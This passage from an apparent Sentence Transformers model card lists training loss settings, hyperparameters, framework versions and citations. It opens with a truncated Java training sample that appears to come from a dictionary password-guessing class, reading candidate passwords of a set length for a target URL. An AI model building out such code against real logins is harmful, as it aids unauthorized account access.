}<br><br><br> <br> private String url = null;<br> <br> private String dictionaryPath = null;<br> <br> private BufferedReader dict = null;<br> <br> private int attempts = 0;<br> <br> private int passwordSize = 3;<br> <br> public void setPasswordSize(int size){<br> this.passwordSize = size;<br> }<br> <br> public String getNextPassword()throws IOException{<br><br> String line = dict.readLine();<br><br> while(line!=null&&line.length()!=this.passwordSize )<br> line = dict.readLine();<br><br> return line;<br> }<br> <br> publ...</code> |
  • Loss: <code>CachedMultipleNegativesRankingLoss</code> with these parameters:
json
  {
      "scale": 20.0,
      "similarity_fct": "cos_sim",
      "mini_batch_size": 32,
      "gather_across_devices": false
  }

Training Hyperparameters

Non-Default Hyperparameters
  • per_device_train_batch_size: 256
  • learning_rate: 2e-05
  • num_train_epochs: 1
  • warmup_ratio: 0.1
  • fp16: True
  • batch_sampler: no_duplicates
All Hyperparameters

<details><summary>Click to expand</summary>

  • overwrite_output_dir: False
  • do_predict: False
  • eval_strategy: no
  • prediction_loss_only: True
  • per_device_train_batch_size: 256
  • per_device_eval_batch_size: 8
  • per_gpu_train_batch_size: None
  • per_gpu_eval_batch_size: None
  • gradient_accumulation_steps: 1
  • eval_accumulation_steps: None
  • torch_empty_cache_steps: None
  • learning_rate: 2e-05
  • weight_decay: 0.0
  • adam_beta1: 0.9
  • adam_beta2: 0.999
  • adam_epsilon: 1e-08
  • max_grad_norm: 1.0
  • num_train_epochs: 1
  • max_steps: -1
  • lr_scheduler_type: linear
  • lr_scheduler_kwargs: {}
  • warmup_ratio: 0.1
  • warmup_steps: 0
  • log_level: passive
  • log_level_replica: warning
  • log_on_each_node: True
  • logging_nan_inf_filter: True
  • save_safetensors: True
  • save_on_each_node: False
  • save_only_model: False
  • restore_callback_states_from_checkpoint: False
  • no_cuda: False
  • use_cpu: False
  • use_mps_device: False
  • seed: 42
  • data_seed: None
  • jit_mode_eval: False
  • use_ipex: False
  • bf16: False
  • fp16: True
  • fp16_opt_level: O1
  • half_precision_backend: auto
  • bf16_full_eval: False
  • fp16_full_eval: False
  • tf32: None
  • local_rank: 0
  • ddp_backend: None
  • tpu_num_cores: None
  • tpu_metrics_debug: False
  • debug: []
  • dataloader_drop_last: False
  • dataloader_num_workers: 0
  • dataloader_prefetch_factor: None
  • past_index: -1
  • disable_tqdm: False
  • remove_unused_columns: True
  • label_names: None
  • load_best_model_at_end: False
  • ignore_data_skip: False
  • fsdp: []
  • fsdp_min_num_params: 0
  • fsdp_config: {'minnumparams': 0, 'xla': False, 'xlafsdpv2': False, 'xlafsdpgrad_ckpt': False}
  • fsdp_transformer_layer_cls_to_wrap: None
  • accelerator_config: {'splitbatches': False, 'dispatchbatches': None, 'evenbatches': True, 'useseedablesampler': True, 'nonblocking': False, 'gradientaccumulationkwargs': None}
  • parallelism_config: None
  • deepspeed: None
  • label_smoothing_factor: 0.0
  • optim: adamwtorchfused
  • optim_args: None
  • adafactor: False
  • group_by_length: False
  • length_column_name: length
  • ddp_find_unused_parameters: None
  • ddp_bucket_cap_mb: None
  • ddp_broadcast_buffers: False
  • dataloader_pin_memory: True
  • dataloader_persistent_workers: False
  • skip_memory_metrics: True
  • use_legacy_prediction_loop: False
  • push_to_hub: False
  • resume_from_checkpoint: None
  • hub_model_id: None
  • hub_strategy: every_save
  • hub_private_repo: None
  • hub_always_push: False
  • hub_revision: None
  • gradient_checkpointing: False
  • gradient_checkpointing_kwargs: None
  • include_inputs_for_metrics: False
  • include_for_metrics: []
  • eval_do_concat_batches: True
  • fp16_backend: auto
  • push_to_hub_model_id: None
  • push_to_hub_organization: None
  • mp_parameters:
  • auto_find_batch_size: False
  • full_determinism: False
  • torchdynamo: None
  • ray_scope: last
  • ddp_timeout: 1800
  • torch_compile: False
  • torch_compile_backend: None
  • torch_compile_mode: None
  • include_tokens_per_second: False
  • include_num_input_tokens_seen: False
  • neftune_noise_alpha: None
  • optim_target_modules: None
  • batch_eval_metrics: False
  • eval_on_start: False
  • use_liger_kernel: False
  • liger_kernel_config: None
  • eval_use_gather_object: False
  • average_tokens_across_devices: False
  • prompts: None
  • batch_sampler: no_duplicates
  • multi_dataset_batch_sampler: proportional
  • router_mapping: {}
  • learning_rate_mapping: {}

</details>

Training Logs

EpochStepTraining Loss
0.74071000.5434

Framework Versions

  • Python: 3.11.11
  • Sentence Transformers: 5.1.1
  • Transformers: 4.56.2
  • PyTorch: 2.8.0.dev20250319+cu128
  • Accelerate: 1.10.1
  • Datasets: 4.1.1
  • Tokenizers: 0.22.1

Citation

BibTeX

Sentence Transformers
bibtex
@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}
CachedMultipleNegativesRankingLoss
bibtex
@misc{gao2021scaling,
    title={Scaling Deep Contrastive Learning Batch Size under Memory Limited Setup},
    author={Luyu Gao and Yunyi Zhang and Jiawei Han and Jamie Callan},
    year={2021},
    eprint={2101.06983},
    archivePrefix={arXiv},
    primaryClass={cs.LG}
}

<!--

Glossary

Clearly define terms in order to be accessible across audiences. -->

<!--

Model Card Authors

Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction. -->

<!--

Model Card Contact

Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors. -->